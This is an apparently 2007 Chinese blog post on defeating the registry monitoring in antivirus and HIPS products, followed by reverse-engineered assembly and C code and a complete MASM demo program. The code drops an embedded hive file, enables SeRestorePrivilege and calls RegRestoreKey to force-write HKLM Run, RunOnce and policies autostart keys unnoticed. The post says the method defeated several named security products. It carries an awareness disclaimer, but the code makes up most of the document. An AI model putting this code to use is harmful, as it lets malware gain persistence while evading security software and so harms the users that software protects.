注册表监控弱点演示程序相关信息:
http://www.xyzreg.net/
突破主动防御之注册表监控篇 大 | 中 | 小 [ 2007/02/26 05:17 | by xyzreg ]
目前主动防御的概念已经深入人心,许多杀毒软件、软件防火以及HIPS都具有了注册表监控功能,防止自启动项以及IE相关键值被修改,对防范病毒木马以及流氓软件等恶意程序起到了不小的作用。但是现有的注册表监控并非无懈可击,我们仍然可以绕过注册表监控修改注册表。
绕过注册表监控的方法不止一种,应根据不同情况灵活运用。 除了本演示程序使用的操作HIVE文件修改注册表的方法,我们还可以写驱动解除注册表监控程序的钩子,或者直接调用CmXXXXX等未导出函数来操作注册表等。
测试了卡巴6、瑞星2007、GSS、江民2007等含有注册表监控功能的安全软件,我写的这个演示程序均可以突破他们不被拦截,实现修改注册表。
本程序仅作科普以及安全警示之用,旨在提高大家安全意识以及选择更好的安全产品。勿将程序中的方法用于非法用途。
直接分析的内容
代码:
.const
szResourceType db "xyz2"
szFileName db "c:\\xyz2.hiv"
szSeRestorePrivilege db "SeRestorePrivilege"
SubRegKey db "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies"
.code
SpecialPassRegMon proc uses ebx esi edi
local hRegKey:dword,NumberOfBytesWritten:dword
push offset szResourceType ; "xyz2"
push 84h ; lpName
push 0 ; hModule
call FindResourceA
mov ebx, eax
push eax ; hResInfo
push 0 ; hModule
call SizeofResource
mov edi, eax
push ebx ; hResInfo
push 0 ; hModule
call LoadResource
push eax ; hResData
call LockResource
mov ebx, eax
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push offset szFileName ; "c:\\xyz2.hiv"
call CreateFileA
mov esi, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push edi ; nNumberOfBytesToWrite
push ebx ; lpBuffer
push esi ; hFile
call WriteFile
push esi ; hObject
call CloseHandle
push offset szSeRestorePrivilege ; "SeRestorePrivilege"
call LookupTokenPrivilege
lea ecx, hRegKey
push ecx ; phkResult
push offset SubRegKey ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push HKEY_LOCAL_MACHINE ; hKey
call RegOpenKeyA
xor esi, esi
@@:
mov edx, [esp+14h+hRegKey]
push REG_FORCE_RESTORE ; dwFlags
push offset File ; "C:\\xyz2.hiv"
push edx ; hKey
call RegRestoreKeyA
test eax, eax
jz @f
inc esi
cmp esi, 14h
jl @b
@@:
push offset szFileName ; "c:\\xyz2.hiv"
call DeleteFileA
push hRegKey ; hObject
call CloseHandle
ret
SpecialPassRegMon endp
BOOL __cdecl SpecialPassRegMon()
{
signed int i;
HRSRC hModule;
HRSRC temp;
DWORD dwResourceSize;
HGLOBAL hResData;
HANDLE hFile;
const void *pResData;
DWORD NumberOfBytesWritten;
HKEY hRegKey;
hModule = FindResourceA(0, (LPCSTR)0x84, "xyz2");
temp = hModule;
dwResourceSize = SizeofResource(0, hModule);
hResData = LoadResource(0, temp);
hFile = CreateFileA("c:\\xyz2.hiv", 0x40000000u, 0, 0, 2u, 0, 0);
pResData = LockResource(hResData);
WriteFile(hFile, pResData, dwResourceSize, &NumberOfBytesWritten, 0);
CloseHandle(hFile);
LookupTokenPrivilege("SeRestorePrivilege");
RegOpenKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies", &hRegKey);
i = 0;
do
{
if ( !RegRestoreKeyA(hRegKey, "C:\\xyz2.hiv", REG_FORCE_RESTORE) )
break;
++i;
}
while ( i < 20 );
CloseHandle(hRegKey);
return DeleteFileA("c:\\xyz2.hiv");
}
LookupTokenPrivilege proc lpPrivilege:DWORD
local TokenHandle:dword
local Luid:_LUID
local NewState:_TOKEN_PRIVILEGES
lea eax, TokenHandle
push eax ; TokenHandle
push 28h ; DesiredAccess
call GetCurrentProcess
push eax ; ProcessHandle
call OpenProcessToken
test eax, eax
jz exit_LookupTokenPrivilege
lea ecx, Luid
push ecx ; lpLuid
push lpPrivilege ; Privilege = "SeRestorePrivilege"
push 0 ; lpSystemName
call LookupPrivilegeValueA
test eax, eax
jz error_LookupTokenPrivilege
push Luid.LowPart
pop NewState.Privileges.Luid.LowPart
push Luid.HighPart
pop NewState.Privileges.Luid.HighPart
mov NewState.PrivilegeCount, 1
mov NewState.Privileges.Attributes, 2
push 0 ; ReturnLength
push 0 ; PreviousState
push 10h ; BufferLength
lea eax, NewState
push eax ; NewState
push 0 ; DisableAllPrivileges
push TokenHandle ; TokenHandle
call AdjustTokenPrivileges
test eax, eax
jnz exit_LookupTokenPrivilege
error_LookupTokenPrivilege:
push TokenHandle ; hObject
call CloseHandle
xor eax, eax
exit_LookupTokenPrivilege:
ret
LookupTokenPrivilege endp
BOOL __cdecl LookupTokenPrivilege(LPCSTR lpPrivilege)
{
BOOL result;
HANDLE hProc;
HANDLE TokenHandle;
struct _LUID Luid;
struct _TOKEN_PRIVILEGES NewState;
hProc = GetCurrentProcess();
result = OpenProcessToken(hProc, 0x28u, &TokenHandle);
if ( result )
{
if ( LookupPrivilegeValueA(0, lpPrivilege, &Luid) )
{
NewState.Privileges[0].Luid.LowPart = Luid.LowPart;
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid.HighPart = Luid.HighPart;
NewState.Privileges[0].Attributes = 2;
result = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);
if ( !result )
result = CloseHandle(TokenHandle);
}
else
{
result = CloseHandle(TokenHandle);
}
}
return result;
}
代码:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ; 注册表监控弱点演示程序 v0.2 BypassRegMon_src ; 源PE作者: xyzreg 逆向优化源码 by hsq, 2007-11-7 10:29 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> .386 .model flat,stdcall option casemap:none include windows.inc include user32.inc include shell32.inc include kernel32.inc include advapi32.inc includeLib user32.lib includelib shell32.lib includeLib kernel32.lib includelib advapi32.lib .const Data db "test.exe",0 szXYZ2 db "XYZ2",0 szXYZ2_hiv db "c:\XYZ2.hiv",0 szNon db "NON",0 szNon_hiv db "c:\NON.hiv",0 szXyz db "XYZ",0 szXyz_hiv db "C:\XYZ.hiv",0 szSeRestorePrivilege db "SeRestorePrivilege",0 szSpeciallpSubKey dw 0 SubRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\policies",0 szSoftwareMicrCurRunOnce db "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",0 szSoftwareMicrExpRun db 'SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run',0 Caption db "提示",0 szNormal db "常规方法",0 szClear db "清除完毕!",0Dh,0Ah,0 szSpecial db "特殊方法",0 szSpecial_A db "特殊方法修改注册表自启动项 A ...",0Dh,0Ah,0Dh,0Ah,"如果修改成功将在" db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" db "下增加 ",22h,"特殊方法",22h,2ch,22h,"test.exe",22h,"的新键值",0Dh,0Ah,0Dh,0Ah db "操作完毕,请观察注册表监控类程程序是否有反应",0Dh,0Ah,0 szNormal_A db "常规方法修改注册表自启动项 A ...",0Dh,0Ah,0Dh,0Ah,"如果修改成功将在" db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" db "下增加 ",22h,"常规方法",22h,2ch,22h,"test.exe",22h,"的新键值",0Dh,0Ah,0Dh,0Ah db "操作完毕,请观察注册表监控类程程序是否有反应",0Dh,0Ah,0 szNormal_B db "常规方法修改注册表自启动项 B ...",0Dh,0Ah,0Dh,0Ah,"如果修改成功将在" db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run" db "下增加 ",22h,"常规方法",22h,2ch,22h,"test.exe",22h,"的新键值",0Dh,0Ah,0Dh,0Ah db "操作完毕,请观察注册表监控类程程序是否有反应",0Dh,0Ah,0 szSpecial_B db "特殊方法修改注册表自启动项 B ...",0Dh,0Ah,0Dh,0Ah,"如果修改成功将在" db "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run" db "下增加 ",22h,"特殊方法",22h,2ch,22h,"test.exe",22h,"的新键值",0Dh,0Ah,0Dh,0Ah db "操作完毕,请观察注册表监控类程程序是否有反应",0Dh,0Ah,0 .data? ghInstance HINSTANCE ? ;保存实例句柄 .code Start: push SW_SHOWDEFAULT ; nShowCmd push 0 ; lpCmdLine push 0 ; hPrevInstance push 0 ; lpModuleName call GetModuleHandle push eax ; hInstance call WinMain ; WinMain(x,x,x,x) push eax call ExitProcess ;========================================================================================= WinMain proc hInstance:HINSTANCE,hPrevInstance:HINSTANCE,lpCmdLine:LPSTR,nShowCmd:DWORD local Msg:MSG mov eax, hInstance mov ghInstance, eax push 5 ; nCmdShow push 0 ; dwInitParam push offset DialogFunc ; lpDialogFunc push 0 ; hWndParent push 81h ; lpTemplateName push eax ; hInstance call CreateDialogParam push eax ; hWnd call ShowWindow push 0 ; wMsgFilterMax push 0 ; wMsgFilterMin push 0 ; hWnd lea eax, Msg push eax ; lpMsg call GetMessage test eax, eax jz short EndMSG WaitMSG: lea ecx, Msg push ecx ; lpMsg call TranslateMessage lea edx, Msg push edx ; lpMsg call DispatchMessage push 0 ; wMsgFilterMax push 0 ; wMsgFilterMin push 0 ; hWnd lea eax, Msg push eax ; lpMsg call GetMessage test eax, eax jnz short WaitMSG EndMSG: mov eax, Msg.wParam ret WinMain endp DialogFunc proc uses ebx edi esi hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM mov eax, uMsg cmp eax, WM_CLOSE jz exit_DialogFunc cmp eax, WM_COMMAND jz short NextCOMMAND0 cmp uMsg, WM_DESTROY je NextMSG xor eax, eax ret NextMSG: push 0 call PostQuitMessage jmp RetMSG NextCOMMAND0: mov eax, wParam cmp ax, 3FBh jnz NextCOMMAND1 lea eax, uMsg push eax push 0F003Fh push 0 push offset szSoftwareMicrCurRunOnce push HKEY_LOCAL_MACHINE call RegOpenKeyEx push offset Data call lstrlen mov ecx, uMsg push eax push offset Data push 1 push 0 push offset szNormal push ecx call RegSetValueExA mov edx, uMsg push edx call RegCloseKey mov eax, hWnd push 20h ; uType push offset Caption ; "提示" push offset szNormal_A ; "常规方法修改注册表自启动项 A ..." push eax call MessageBox jmp RetMSG NextCOMMAND1: cmp ax, 3FCh jnz short NextCOMMAND2 push REG_FORCE_RESTORE ; dwFlags push offset szSoftwareMicrCurRunOnce ; lpSubKey push HKEY_LOCAL_MACHINE ; hKey push offset szXyz_hiv ; lpFilePath push offset szXyz ; lpType push 130 ; lpName=IDD; 130 XYZ "Data_2.bin" push 0 ; hModule call SpecialPassRegMon mov ecx, hWnd push 20h ; uType push offset Caption ; "提示" push offset szSpecial_A ; "\n特殊方法修改注册表自启动项 A..." push ecx ; hWnd call MessageBox jmp RetMSG NextCOMMAND2: cmp ax, 3FDh jnz NextCOMMAND3 push REG_FORCE_RESTORE ; dwFlags push offset szSoftwareMicrCurRunOnce ; lpSubKey push HKEY_LOCAL_MACHINE ; hKey push offset szNon_hiv ; lpFilePath push offset szNon ; lpType push 131 ; lpName=IDD 131 NON "Data_1.bin" push 0 ; hModule call SpecialPassRegMon push esp push esp ; phkResult push KEY_ALL_ACCESS ; samDesired push 0 ; ulOptions push offset szSoftwareMicrExpRun ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push HKEY_LOCAL_MACHINE ; hKey call RegOpenKeyEx pop ebx push offset szNormal ; "常规方法" push ebx ; hKey call RegDeleteValue ; 删除常规方法建立的键值 push offset szSpecial ; "特殊方法" push ebx ; hKey call RegDeleteValue ; 删除常规方法建立的键值 push offset szSpeciallpSubKey ; lpSubKey push ebx ; hKey call RegDeleteKey push ebx ; hKey call RegCloseKey push MB_ICONQUESTION ; uType push offset Caption ; "提示" push offset szClear ; "清除完毕!" push hWnd ; hWnd call MessageBox jmp RetMSG NextCOMMAND3: cmp ax, 400h jnz short NextMSG0 lea edx, uMsg push edx ; phkResult push offset szSoftwareMicrExpRun ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push HKEY_LOCAL_MACHINE ; hKey call RegCreateKey push offset Data call lstrlen push eax ; cbData mov eax, uMsg push offset Data ; lpData push 1 ; dwType push 0 ; Reserved push offset szNormal ; "常规方法" push eax ; hKey call RegSetValueEx mov ecx, uMsg push ecx ; hKey call RegCloseKey mov edx, hWnd push MB_ICONQUESTION ; uType push offset Caption ; "提示" push offset szNormal_B ; "\n常规方法修改注册表自启动项 B..." push edx ; hWnd call MessageBox jmp RetMSG NextMSG0: cmp ax, 401h jnz exit_DialogFunc push REG_FORCE_RESTORE ; dwFlags push offset SubRegKey ; lpSubKey push HKEY_LOCAL_MACHINE ; hKey push offset szXYZ2_hiv ; lpFilePath push offset szXYZ2 ; lpType push 132 ; lpName=IDD 132 XYZ2 "Data_3.bin" push 0 ; hModule call SpecialPassRegMon mov eax, hWnd push 20h ; uType push offset Caption ; "提示" push offset szSpecial_B ; "\n特殊方法修改注册表自启动项 B..." push eax ; hWnd call MessageBox RetMSG: mov eax, 1 ret exit_DialogFunc: push hWnd call DestroyWindow jmp RetMSG DialogFunc endp SpecialPassRegMon proc uses ebx esi edi hModule,lpName,lpType,lpFilePath,hKey,\ lpSubKey,dwFlags local hRegKey:dword,NumberOfBytesWritten:dword push lpType ; lpType push lpName ; lpName push hModule ; hModule call FindResource ; 查找资源 mov ebx, eax push eax ; hResInfo push hModule ; hModule call SizeofResource ; 获得资源大小 mov edi, eax push ebx ; hResInfo push hModule ; hModule call LoadResource ; 装载资源 push eax ; hResData call LockResource ; 锁定资源 mov ebx, eax ; 获取资源指针 push 0 ; hTemplateFile push 0 ; dwFlagsAndAttributes push 2 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 0 ; dwShareMode push 40000000h ; dwDesiredAccess push lpFilePath call CreateFile ; 创建文件 mov esi, eax push 0 ; lpOverlapped lea eax, NumberOfBytesWritten push eax ; lpNumberOfBytesWritten push edi ; nNumberOfBytesToWrite push ebx ; lpBuffer push esi ; hFile call WriteFile ; 写文件内容 push esi call CloseHandle ; 关闭文件句柄 push offset szSeRestorePrivilege ; "SeRestorePrivilege" call LookupTokenPrivilege ; 提升进程权限 push esp push esp push lpSubKey push HKEY_LOCAL_MACHINE ; hKey call RegOpenKey ; 打开注册表,成功则返回零 pop ebx xor esi, esi @@: push dwFlags ; dwFlags push lpFilePath push ebx ; hKey call RegRestoreKey ; 写注册表,成功则返回零 test eax, eax jz @f inc esi cmp esi, 3h ; 尝试3次 jl @b @@: push lpFilePath call DeleteFile ; 删除释放文件 push ebx call CloseHandle ret SpecialPassRegMon endp LookupTokenPrivilege proc lpPrivilege:DWORD local TokenHandle:dword local Luid:LUID local NewState:TOKEN_PRIVILEGES lea eax, TokenHandle push eax ; TokenHandle push 28h ; DesiredAccess call GetCurrentProcess push eax ; ProcessHandle call OpenProcessToken test eax, eax jz exit_LookupTokenPrivilege lea ecx, Luid push ecx ; lpLuid push lpPrivilege ; Privilege = "SeRestorePrivilege" push 0 ; lpSystemName call LookupPrivilegeValue test eax, eax jz error_LookupTokenPrivilege push Luid.LowPart pop NewState.Privileges.Luid.LowPart push Luid.HighPart pop NewState.Privileges.Luid.HighPart mov NewState.PrivilegeCount, 1 mov NewState.Privileges.Attributes, 2 push 0 ; ReturnLength push 0 ; PreviousState push 10h ; BufferLength lea eax, NewState push eax ; NewState push 0 ; DisableAllPrivileges push TokenHandle ; TokenHandle call AdjustTokenPrivileges test eax, eax jnz exit_LookupTokenPrivilege error_LookupTokenPrivilege: push TokenHandle ; hObject call CloseHandle xor eax, eax exit_LookupTokenPrivilege: ret LookupTokenPrivilege endp end Start
估计迟早也要X掉。